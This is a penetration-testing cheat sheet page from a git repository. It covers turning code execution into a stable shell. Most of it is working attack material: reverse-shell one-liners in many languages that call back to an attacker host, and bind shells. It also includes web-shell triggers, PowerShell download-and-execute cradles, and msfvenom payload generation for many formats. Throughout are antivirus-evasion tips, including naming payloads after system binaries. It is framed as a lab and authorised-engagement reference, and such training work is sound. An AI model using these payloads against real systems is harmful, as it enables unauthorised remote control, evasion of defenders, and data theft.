daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

foothold-shells-payloads-metasploit.md (43859B)


      1 ---
      2 title: "Foothold Toolkit — Shells, Payloads, and Metasploit"
      3 description: "CPTS attack-flow reference for foothold toolkit — shells, payloads, and metasploit in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 5
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-foothold", "pentest-workflow"]
      8 tools: ["Netcat", "socat", "msfvenom", "Metasploit", "nishang", "donut", "ligolo-ng", "chisel"]
      9 difficulty: intermediate
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/05 - Foothold Toolkit - Shells Payloads and Metasploit.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 05 of 17 · **Focus:** Foothold Toolkit — Shells, Payloads, and Metasploit
     17 >
     18 > **Previous:** [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers) · **Next:** [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration)
     19 
     20 ---
     21 # 🐚 FOOTHOLD TOOLKIT — Shells, Payloads & Metasploit
     22 
     23 The bridge between "I have code execution" and "I have a shell I can actually work in." A web/injection/upload vuln (STAGE 2) or a service exploit hands me an execution primitive — this section turns that into a caught, stabilised shell, then into a Metasploit session when I want the post-ex toolkit. Rule of thumb: **reverse over bind** (outbound survives firewalls, inbound rarely does), **stabilise before I `sudo -l`**, and **treat a web shell as a stepping stone to a real reverse shell, never the end state**. Deep dives: 3 - Reverse Shells · 2 - Bind Shells · 4 - Payload Basics · 6 - Crafting Payloads with MSFvenom · 9 - Landing a Web Shell · 8 - Getting a Shell on Linux · 7 - Getting a Shell on Windows. **MITRE:** T1059 (Command and Scripting Interpreter), T1071 (C2 over Application Layer Protocols), T1105 (Ingress Tool Transfer).
     24 
     25 > [!note] Env
     26 > `$LHOST` = my tun0 (already exported), `$IP` = target. Payloads below call back to `$LHOST` on **443** (rides egress-allowed HTTPS) or 4444. Match the catch port to the payload port every time — a port mismatch is the #1 "payload ran, no shell" cause.
     27 
     28 **Shell selection at a glance**
     29 
     30 | My situation | Reach for |
     31 |---|---|
     32 | Linux RCE, bash present, egress open | `bash -i >& /dev/tcp/...` → `nc` catch → python pty |
     33 | Upload to web root | Stage `rp-shell.*` → browse → fire reverse one-liner |
     34 | Windows RCE, powershell allowed | Nishang `Invoke-PowerShellTcp` cradle |
     35 | Want post-ex toolkit (hashdump, kiwi, portfwd) | msfvenom meterpreter + `multi/handler` |
     36 | Egress blocked, internal segment | Bind shell (`nc -lvnp` + FIFO / socat) |
     37 | Already in a meterpreter session, need more reach | `autoroute` + `socks_proxy`, or ligolo-ng/chisel |
     38 | Fragile/lossy link | Stageless payload, or `reverse_https` |
     39 
     40 <figure class="flow plate corners">
     41   <figcaption class="flow__cap"><span class="flow__kind">Foothold decision flow</span><span class="flow__dir">TD</span></figcaption>
     42   <div class="flow__body">
     43     <div class="flow__diagram" data-dir="td">
     44       <div class="flow-rank"><div class="flow-node is-entry">Execution primitive<span class="sub">RCE / upload / injection</span></div></div>
     45       <div class="flow-edge"></div>
     46       <div class="flow-rank"><div class="flow-node is-decision">Egress open?</div></div>
     47       <div class="flow-branches">
     48         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">yes</span></div><div class="flow-node">Reverse shell<span class="sub">nc / socat catch</span></div></div>
     49         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">no</span></div><div class="flow-node">Bind shell<span class="sub">target listens</span></div></div>
     50       </div>
     51       <div class="flow-join"></div>
     52       <div class="flow-rank"><div class="flow-node">TTY upgrade<span class="sub">pty / script / ConPty</span></div></div>
     53       <div class="flow-edge"></div>
     54       <div class="flow-rank"><div class="flow-node is-decision">Need post-ex?</div></div>
     55       <div class="flow-branches">
     56         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">yes</span></div><div class="flow-node">msfvenom meterpreter<span class="sub">+ multi/handler</span></div><div class="flow-edge"></div><div class="flow-node">Pivot<span class="sub">autoroute / ligolo-ng / chisel</span></div><div class="flow-edge"></div><div class="flow-node">Stage 10</div></div>
     57         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">no</span></div><div class="flow-node">Manual enum<span class="sub">Stage 09</span></div></div>
     58       </div>
     59     </div>
     60   </div>
     61 </figure>
     62 
     63 ---
     64 
     65 ### Reverse-shell one-liner library (catch on nc)
     66 
     67 **What to look for** → an execution primitive (RCE, injection, cron, upload) and *which interpreters exist on target* — don't assume `nc`. On Windows `powershell`/`cmd` are always there; Linux almost always has `bash` + one of python/perl/php.
     68 
     69 **Enumerate what's available on target**
     70 ```bash
     71 which python3 python perl php socat nc ncat awk ruby busybox 2>/dev/null
     72 ls -la /usr/bin | grep -iE 'python|perl|php|socat|nc|ruby'
     73 # generate any of these interactively (all languages, url/quote-encoded): https://www.revshells.com
     74 ```
     75 
     76 **The library — pick the row matching what exists on target**
     77 
     78 | Target has | One-liner (reverse) | Notes |
     79 |---|---|---|
     80 | bash | `bash -i >& /dev/tcp/$LHOST/443 0>&1` | No binary needed; most portable Linux primitive |
     81 | sh only | `0<&196;exec 196<>/dev/tcp/$LHOST/443; sh <&196 >&196 2>&196` | dash/sh-safe variant of /dev/tcp |
     82 | nc with `-e` | `nc $LHOST 443 -e /bin/bash` | Stripped from most modern builds — test it |
     83 | nc without `-e` | `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f\|/bin/bash -i 2>&1\|nc $LHOST 443 >/tmp/f` | The module's FIFO method |
     84 | python3 | `python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$LHOST",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'` | Spawns a pty inline (half-stabilised) |
     85 | python2 | `python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$LHOST",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'` | Legacy targets |
     86 | php | `php -r '$s=fsockopen("$LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");'` | What a dropped .php web shell pivots to |
     87 | perl | `perl -e 'use Socket;$i="$LHOST";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(443,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'` | Near-universal on older *nix |
     88 | ruby | `ruby -rsocket -e 'f=TCPSocket.open("$LHOST",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'` | macOS + dev stacks |
     89 | socat | `socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane` | Full PTY in ONE hop — best option if present |
     90 | openssl | see TLS block below | Encrypted callback, rides 443 cleanly |
     91 | awk | `awk 'BEGIN{s="/inet/tcp/0/$LHOST/443";while(1){do{printf "sh>" \|& s;s \|& getline c;if(c){while((c \|& getline)>0)print \$0 \|& s;close(c)}}while(c!="exit");close(s)}}'` | Exotic; gawk-only networking |
     92 | busybox | `busybox nc $LHOST 443 -e /bin/sh` | Embedded/IoT/minimal containers |
     93 | powershell | see Windows block below | Defender signatures the famous one-liner |
     94 
     95 **Exploit — Linux payloads (drop into whatever the target has)**
     96 ```bash
     97 # bash /dev/tcp — no nc binary needed, the most portable primitive
     98 bash -i >& /dev/tcp/$LHOST/443 0>&1
     99 bash -c 'bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1'          # injection-safe wrap
    100 0<&196;exec 196<>/dev/tcp/$LHOST/443; sh <&196 >&196 2>&196  # sh-only fallback
    101 
    102 # nc: -e if the build kept it, mkfifo if it didn't (the module's method)
    103 nc $LHOST 443 -e /bin/bash
    104 rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $LHOST 443 > /tmp/f
    105 
    106 # python3 — spawns a pty inline (already half-stabilised)
    107 python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'"$LHOST"'",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
    108 
    109 # perl / php (php one is what a dropped .php web shell pivots to)
    110 perl -e 'use Socket;$i="'"$LHOST"'";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(443,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
    111 php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");'
    112 
    113 # socat — full PTY in ONE hop (best if socat is on target, see TTY section)
    114 socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
    115 
    116 # openssl reverse shell — encrypted callback, dodges plaintext IDS on 443
    117 #   Pwnbox: openssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 365 -out c.pem
    118 #           openssl s_server -quiet -accept 443 -cert c.pem -key k.pem
    119 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $LHOST:443 > /tmp/s; rm /tmp/s
    120 ```
    121 
    122 **Exploit — Windows payloads**
    123 ```powershell
    124 # PowerShell TCPClient one-liner (module's payload — Defender flags it as ScriptContainedMaliciousContent)
    125 powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"
    126 # Nishang scripted equivalent — supports -Reverse / -Bind, IPv4+IPv6, no retyping
    127 Invoke-PowerShellTcp -Reverse -IPAddress $LHOST -Port 443
    128 ```
    129 
    130 > [!tools] Stage this (from `attachments/`)
    131 > [nishang-master.zip](/downloads/pentest-workflow/nishang-master.zip) ([SHA-256](/downloads/pentest-workflow/nishang-master.zip.sha256) · [GPG signature](/downloads/pentest-workflow/nishang-master.zip.sha256.asc))
    132 > [Nishang](https://github.com/samratashok/nishang) — offensive PowerShell toolkit; `Shells/Invoke-PowerShellTcp.ps1` is the reliable Windows reverse/bind shell family (`Invoke-PowerShellTcp`, `-Reverse`/`-Bind`, plus UDP and ICMP variants). Unzip, serve the single `.ps1` over HTTP, cradle it with `IEX (New-Object Net.WebClient).DownloadString(...)` — no need to paste the giant one-liner by hand. Siblings worth knowing in the same `Shells/` folder: `Invoke-PowerShellUdp` (egress that only allows UDP-shaped flows), `Invoke-PoshRatHttp`/`Invoke-PowerShellIcmp` (covert-channel experiments — lab curiosities, loud in practice).
    133 
    134 **Delivery pattern (serve → cradle → catch)**
    135 ```powershell
    136 # Pwnbox: cd into the unzipped nishang/Shells dir, then python3 -m http.server 80
    137 # Target (one line, appends the invocation so the script self-fires on download):
    138 IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress %LHOST% -Port 443
    139 ```
    140 > [!warning] Nishang scripts are **heavily signatured** (AMSI + Defender know `Invoke-PowerShellTcp` by name). For a monitored target, rename the function and strip comments first, or go straight to a donut/C2 loader. In CPTS labs: fire as-is, it's fine.
    141 
    142 > [!warning] Watch out
    143 > - **`nc -e`/`-c` is stripped from most modern builds** (Debian/Ubuntu `netcat-openbsd`) — that's why the `mkfifo /tmp/f` loop exists; reach for it (or socat) when `-e` errors.
    144 > - **Bind shells need inbound to the target** → NAT + perimeter + host firewalls kill them. Only fall back to a bind shell on an unrestricted *internal* segment. See 2 - Bind Shells.
    145 > - The plaintext PowerShell/nc shells are **trivially signatured** — a lab Defender blocks them outright, and any packet inspection sees them in clear. Fine for HTB, but for evasion use a staged encrypted channel (meterpreter `reverse_https`) or a real C2.
    146 > - Single-quoted python/perl payloads break shell interpolation of `$LHOST` — I splice it with `'"$LHOST"'` above so it still expands. Paste-check the IP landed before firing.
    147 > - URL-encode payloads fired through a **web** RCE parameter — `&`, `|`, `;`, spaces all mangle in transit (`bash -i >& /dev/tcp/...` → encode the `&`s or base64-wrap: `echo <b64> | base64 -d | bash`).
    148 
    149 ---
    150 
    151 ### Bind shell (fallback for unrestricted internal segments)
    152 
    153 **What to look for** → I can start a listener on the target but *can't* get it to dial out (egress fully blocked), and I have a route in.
    154 
    155 **Exploit**
    156 ```bash
    157 # TARGET listens, serves a shell over the socket (mkfifo, since nc -e is usually gone)
    158 rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp 7777 > /tmp/f
    159 socat TCP-LISTEN:7777,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane   # PTY-quality bind
    160 # MY side — connect in
    161 nc -nv $IP 7777
    162 ```
    163 ```powershell
    164 # Windows bind via Nishang (target listens, I connect)
    165 Invoke-PowerShellTcp -Bind -Port 7777
    166 ```
    167 
    168 > [!warning] Watch out
    169 > A bare `nc -lvnp` proving "connection succeeded" is **not a shell** until an interpreter is piped through it — that's the classic "connected but nothing happens." The FIFO (or socat `EXEC:`) is what actually binds bash to the socket. And remember the bind listener dies when the shell exits — re-trigger the payload for each reconnect, or wrap it in a `while true; do ... done` loop for resilience on fragile boxes.
    170 >
    171 > Also: bind shells are **unauthenticated listeners** — anyone (including other students on shared HTB ranges, or a scanner) who connects first gets the shell. On shared infrastructure, close the port when done and prefer reverse shells when egress allows.
    172 
    173 ---
    174 
    175 ### Web shells — staging the right one for the stack
    176 
    177 **What to look for** → the web technology determines the shell language; the upload path determines whether I browse *to* it or include it. IIS → `.aspx`/`.asp`, Tomcat/Java → `.jsp`/`.war`, Apache/Nginx+PHP → `.php`. The `aspnet_client` folder, `WEB-INF/`, or `.php` in `$_SERVER` tells are the give-aways. Deep dive: 9 - Landing a Web Shell and sibling note 05 - Web Shells - CPTS Cheat Sheet.
    178 
    179 > [!tools] Stage this (from `attachments/`)
    180 > [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc))
    181 > [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc))
    182 > [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc))
    183 > [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))
    184 > Custom vault webshells per stack — `rp-shell.php` for PHP apps, `rp-shell.asp` for classic-ASP IIS, `rp-shell.jsp` for Tomcat/JSP containers, `nt-webshell-rosepine.aspx` for ASP.NET/IIS. Transfer via the channels in [note 04](/sheets/pentest-workflow/foothold-file-transfers), then browse to the upload path and fire a reverse-shell one-liner from the shell's command box.
    185 
    186 > [!note] Language ↔ server mapping (get this right or the shell 404s/500s)
    187 >
    188 > | Server / stack | Shell to stage | Typical upload landing |
    189 > |---|---|---|
    190 > | IIS + ASP.NET | `.aspx` (rosepine) | `C:\inetpub\wwwroot\`, `/uploads/` |
    191 > | IIS + classic ASP | `.asp` | Same — legacy apps |
    192 > | Apache/Nginx + PHP | `.php` | `/var/www/html/uploads/` |
    193 > | Tomcat / JSP | `.jsp` or deploy `.war` | `webapps/<app>/`, manager-deploy |
    194 > | CMS (WordPress etc.) | `.php` via theme/plugin editor | `wp-content/themes/<theme>/` |
    195 
    196 ```bash
    197 # Test the shell landed (then pivot to a real reverse shell immediately)
    198 curl "http://$IP/uploads/rp-shell.php?cmd=id"
    199 curl "http://$IP/uploads/rp-shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/443+0>%261'"
    200 ```
    201 
    202 > [!warning] Watch out
    203 > - A web shell is **not** the end state: it dies with the request, has no job control, and every command is a fresh HTTP hit in the access log. Pivot to a reverse shell ASAP.
    204 > - Web shells usually run as the **service account** (`www-data`, `apache`, `IIS APPPOOL\<name>`) — expect low privs, and note the shell's deleted-file artifact: the uploaded `.php`/`.aspx` on disk is IOC #1. Clean it up at the end.
    205 > - Some upload forms rename to a random filename or block by extension — double extensions (`shell.php.jpg`), content-type juggling, and filter bypasses live in [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation).
    206 
    207 ---
    208 
    209 ### Catching the callback (nc / socat / rlwrap / pwncat)
    210 
    211 **What to look for** → a listener up *before* I trigger the payload, on the exact port the payload targets.
    212 
    213 **Exploit**
    214 ```bash
    215 sudo nc -lvnp 443                      # raw catch (443 needs sudo for <1024)
    216 rlwrap nc -lvnp 443                    # +arrow keys, history, line editing on the catch
    217 socat file:`tty`,raw,echo=0 TCP-LISTEN:443   # hands me a real PTY (pairs w/ socat target one-liner)
    218 pwncat-cs -lp 443                      # auto-stabilises PTY + layers post-ex (upload/download, persistence)
    219 ```
    220 
    221 > [!tip] Start the listener, *then* trigger. If the shell dies the instant it connects, my payload port ≠ my listen port, or a stray old listener/`multi/handler` job still owns the port (`jobs -K` in msf, `fuser -k 443/tcp` in the shell).
    222 
    223 **Catching reliably — the failure modes I actually hit**
    224 
    225 | Symptom | Cause | Fix |
    226 |---|---|---|
    227 | Listener up, payload fires, nothing arrives | Egress filter; wrong `$LHOST`; payload encoded wrong | Re-check tun0; try 443; test payload locally first |
    228 | Connects then instantly drops | Port mismatch; staged payload caught by bare `nc`; AV killed the stager | Match ports; use multi/handler for staged; stageless for `nc` |
    229 | Shell connects, I type, output garbled | No PTY (raw socket) | TTY upgrade (next section) |
    230 | Second trigger gives nothing | First dead session still bound the port | `jobs -K` / `fuser -k <port>/tcp`, restart listener |
    231 | `reverse_https` payload won't stage | TLS interception / proxy auth in the way | Fall back to `reverse_tcp` on an allowed port, or bind shell |
    232 
    233 **Listener hygiene (OPSEC + reliability)**
    234 - **Name your listeners**: in `msfconsole` use a distinct `LPORT` per engagement leg and log it; on bare nc, keep a mental table of `port → payload → target`. On a busy box with 4 callbacks, guessing wrong loses sessions.
    235 - **Resource scripts** (`handler.rc`) so a crashed `msfconsole` doesn't cost the config:
    236   ```text
    237   # handler.rc — msfconsole -r handler.rc
    238   use exploit/multi/handler
    239   set payload windows/x64/meterpreter/reverse_tcp
    240   set LHOST tun0
    241   set LPORT 443
    242   set ExitOnSession false
    243   run -j
    244   ```
    245 - **One port, one purpose**: don't point two different payload types at the same listener port — a staged meterpreter and a raw bash one-liner on 443 will fight over the connection.
    246 - Kill cleanly: `jobs -k <id>` in msf, `fuser -k 443/tcp` on bare listeners. Never `Ctrl+C` a live handler.
    247 
    248 ---
    249 
    250 ### msfvenom payload factory (format matrix + staging)
    251 
    252 **What to look for** → what the target will actually *execute*: a binary I can run, or a file a service will interpret. Match the format to the stack — `.aspx` for IIS/ASP.NET (the `aspnet_client` folder is the tell), `.war`/`.jsp` for Tomcat, `.php` for a PHP app, `.elf`/`.exe` for a direct-run foothold. Full walk-throughs: 6 - Crafting Payloads with MSFvenom · 14 - Introduction to MSFVenom.
    253 
    254 **Enumerate the exact strings (don't guess payload/format names)**
    255 ```bash
    256 msfvenom -l payloads | grep -iE 'linux/x64|windows/x64|java|php'
    257 msfvenom -l formats            # exe, elf, elf-so, aspx, war, jsp, raw, dll, msi, psh, hta-psh, python ...
    258 msfvenom -l encoders
    259 ```
    260 
    261 **Payload matrix — OS × arch × staging × format**
    262 
    263 | Target stack | msfvenom `-p` | `-f` | Catcher |
    264 |---|---|---|---|
    265 | Windows x64, direct-run exe | `windows/x64/shell_reverse_tcp` (stageless) | `exe` | plain `nc` OK |
    266 | Windows x64, meterpreter staged | `windows/x64/meterpreter/reverse_tcp` | `exe` | **multi/handler only** |
    267 | Windows x86 (legacy) | `windows/meterpreter/reverse_tcp` | `exe` | multi/handler |
    268 | Windows DLL-hijack delivery | `windows/x64/meterpreter/reverse_tcp` | `dll` | multi/handler |
    269 | Windows scriptless (psh) | `windows/meterpreter/reverse_tcp` | `psh` / `psh-net` | multi/handler |
    270 | Windows HTA dropper | `windows/meterpreter/reverse_tcp` | `hta-psh` | multi/handler |
    271 | IIS / ASP.NET | `windows/meterpreter/reverse_tcp` | `aspx` | multi/handler |
    272 | Tomcat | `java/jsp_shell_reverse_tcp` | `war` / `raw` (jsp) | multi/handler (jsp_shell_reverse_tcp catchable by nc too) |
    273 | PHP app | `php/reverse_php` | `raw` | plain `nc` OK |
    274 | Linux x64 stageless | `linux/x64/shell_reverse_tcp` | `elf` | plain `nc` OK |
    275 | Linux x64 staged meterpreter | `linux/x64/meterpreter/reverse_tcp` | `elf` | multi/handler |
    276 | Linux shared object (.so injection) | `linux/x64/meterpreter/reverse_tcp` | `elf-so` | multi/handler |
    277 | Any python runtime | `cmd/unix/reverse_python` | `raw` | plain `nc` OK |
    278 | Encoded/iterated (bad chars) | `…` `-e x86/shikata_ga_nai -i 10 -b '\x00'` | per stack | Bad-char removal ≠ evasion |
    279 
    280 **Attack — one payload per target stack**
    281 ```bash
    282 # LINUX — standalone ELF (stageless single, self-contained)
    283 msfvenom -p linux/x64/shell_reverse_tcp   LHOST=$LHOST LPORT=443 -f elf  -o shell.elf
    284 # WINDOWS — plain reverse-shell EXE (single) vs staged meterpreter EXE
    285 msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe  -o shell.exe
    286 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o met.exe
    287 # IIS / ASP.NET — .aspx (module's anon-FTP→/uploads→browse chain)
    288 msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=1337 -f aspx -o shell.aspx
    289 # TOMCAT — deployable WAR, or a raw JSP to drop in a webroot
    290 msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war
    291 msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp
    292 # PHP app — raw payload (prepend "<?php " if the app doesn't wrap it), then browse to it
    293 msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php
    294 # python one-liner stager (paste into any python-exec primitive)
    295 msfvenom -p cmd/unix/reverse_python LHOST=$LHOST LPORT=443 -f raw
    296 # encode + iterate + strip bad chars (weak AV evasion — see caveat)
    297 msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o t.exe
    298 # DLL for hijack / side-load chains (Stage 09 patterns), HTA for mshta delivery
    299 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o hijack.dll
    300 msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f hta-psh -o drop.hta
    301 ```
    302 
    303 > [!note] Staged vs stageless — read it in the name
    304 > `windows/shell/reverse_tcp` (extra `/`) = **staged**: tiny stager calls back, MSF sends the rest → smaller, more fragile on lossy links, and the catcher **must** be `multi/handler`. `windows/shell_reverse_tcp` (no inner `/`) = **stageless single**: whole payload in one shot → catch with a plain `nc`. Mixing the two = a hung/dead session. Detail in 6 - Payloads. **Reliability note:** staged payloads retry the stage download over the same socket — on lossy/latency-spiky pivot chains the stage transfer is what dies, so prefer stageless (or `reverse_https`) through tunnels.
    305 >
    306 > Memory aid: **more slashes = more trips**. Staged (`meterpreter/reverse_tcp`) = two network trips (stager + stage); stageless (`shell_reverse_tcp`) = one self-contained blob. When AV only scans the dropper, the *stager* is what gets signatured — but the stage arrives in memory over the C2 channel, which is why staged meterpreter sometimes survives where a stageless exe wouldn't.
    307 
    308 > [!warning] Watch out
    309 > - **Raw msfvenom output has ~zero AV evasion** — the module's own VirusTotal test scored **51/68** even with `-i 10` iterations of shikata_ga_nai; every engine names `Trojan:Win32/Meterpreter.A`. Encoders are for **bad-char removal**, not evasion. For evasion use a loader/C2 (donut below, or [ScareCrow](https://github.com/optiv/ScareCrow)/[Freeze](https://github.com/Tylous/Freeze)), not `-e`. Full breakdown: 7 - Encoders.
    310 > - **`shikata_ga_nai` only ranks high because it's polymorphic per-iteration** — the *decoder stub* itself is signatured, so more iterations change the bytes without changing the verdict. Iterations help against naive pattern matching on the payload body, nothing else.
    311 > - `-x <template.exe>` (inject into a custom EXE template) preserves template metadata/imports and blends marginally better than a bare output — but a signatured meterpreter inside a legit template is still signatured meterpreter.
    312 > - **Never upload a real assessment payload to public VirusTotal** — it leaks the hash/signature to every AV vendor and burns the payload. Use a private detonation env.
    313 > - `-f msi`, `-f dll`, and service-EXE privesc payloads (AlwaysInstallElevated, unquoted paths, DLL group-add) live in **STAGE 9** — don't duplicate them here.
    314 > - Delivery ≠ generation: msfvenom builds the file, but a dropped `.aspx`/`.php` on disk is a **forensic artifact** (the module's exploit failed to self-delete its `.asp`) even when meterpreter itself is memory-resident.
    315 > - **Payload naming (T1036):** `shell.exe` screams. Name drops like something the box would have (`update.exe`, `audiodg.exe`, `svchost-patch.exe`) — and record the real name ↔ purpose mapping in notes for cleanup.
    316 > - **Arch mismatch is a silent killer:** a `windows/x64/...` payload won't stage from a 32-bit process (e.g. older app pools, `SysWOW64` context). When in doubt on legacy IIS/servers, generate x86 — it runs under WOW64 either way.
    317 
    318 > [!tools] Stage this (from `attachments/`)
    319 > [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc))
    320 > [donut](https://github.com/TheWover/donut) — converts PE/DLL/.NET exe → position-independent **shellcode**. Use-case: when the target won't run a raw msfvenom exe (AV signature) but I have a shellcode-injection primitive (an exploit, `CreateRemoteThread` loader, or a C2 that accepts raw shellcode) — bake the tool (e.g. a .NET assembly) into shellcode and inject instead of dropping. Still **not** an AV silver bullet: donut's own loader stub is signatured, so pair it with an injector the environment doesn't already know.
    321 
    322 ```bash
    323 # donut quick-look (Linux build of the release zip)
    324 ./donut -a 3 -f 1 -o payload.bin Rubeus.exe     # -a arch(3=x86+amd64), -f 1=raw shellcode
    325 # inject payload.bin with whatever primitive the exploit/C2 provides
    326 ```
    327 
    328 ---
    329 
    330 ### Stabilise the TTY (do it before anything interactive)
    331 
    332 **What to look for** → `tty` says `not a tty`, no tab-complete, `sudo -l`/`su`/`ssh` misbehave — every raw reverse shell lands like this. This is a **summary**; the full playbook (PTY allocation, recovery, restricted shells and ConPTY) is in TTY Upgrades & Restricted Shells.
    333 
    334 **Exploit (fastest paths)**
    335 ```bash
    336 # 1) python pty — the classic
    337 python3 -c 'import pty; pty.spawn("/bin/bash")'   # or perl -e 'exec "/bin/sh";' / /bin/sh -i when no python
    338 # 2) script(1) — present when python isn't (util-linux, near-universal)
    339 script -qc /bin/bash /dev/null
    340 # 3) socat one-shot full PTY (correct size, job control, Ctrl+C) — beats the two-step dance:
    341 #   MY box:  socat file:`tty`,raw,echo=0 TCP-LISTEN:443
    342 #   TARGET:  socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:443
    343 ```
    344 ```bash
    345 # 4) the background/fix/foreground dance after 1) or 2):
    346 #    (in shell) Ctrl+Z
    347 stty raw -echo; fg          # on MY terminal — then press Enter
    348 export TERM=xterm           # in the now-PTY shell
    349 stty rows 40 cols 140       # match MY terminal size — `stty -a` locally tells me the values
    350 ```
    351 ```powershell
    352 # Windows side: ConPtyShell (https://github.com/antonioCoco/ConPtyShell) — a REAL interactive
    353 # reverse shell over ConPTY (tab-complete, arrows, Ctrl+C), not a dumb cmd pipe.
    354 # Requires Windows 10 1809+/Server 2019+ (ConPTY API); older targets fall back to the
    355 # Nishang/plain TCPClient shells above. Serve Invoke-ConPtyShell.ps1, then on target:
    356 IEX(IWR http://%LHOST%/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell %LHOST% 443
    357 # My catch: stty raw -echo; (stty size; cat) | nc -lvnp 443; stty sane   # per ConPtyShell README
    358 # (the stty size handshake is how ConPtyShell learns my terminal geometry — don't skip it)
    359 ```
    360 
    361 > [!tip] A meterpreter `shell` that drops into a service account (`apache`, `www-data`, `IIS APPPOOL\Web`) is non-TTY for the same reason — upgrade it identically before trusting `sudo -l` output. Set rows/cols *before* running full-screen tools (`nano`, `less`, `msfconsole` over the shell) or display corruption follows.
    362 
    363 **Upgrade a caught shell to meterpreter** — if a raw shell lands and I later decide I want the MSF toolkit:
    364 ```bash
    365 msf6 > use post/multi/manage/shell_to_meterpreter
    366 msf6 > set SESSION <id-of-caught-shell> ; set LPORT 4445 ; run    # upgrades in place
    367 # or simply: sessions -u <id>     (same module under the hood)
    368 ```
    369 
    370 > [!warning] TTY pitfalls
    371 > - `su`/`ssh`/`sudo -l` **hang or silently fail** without a PTY — if a command "freezes" the shell, suspect missing PTY before suspecting permissions.
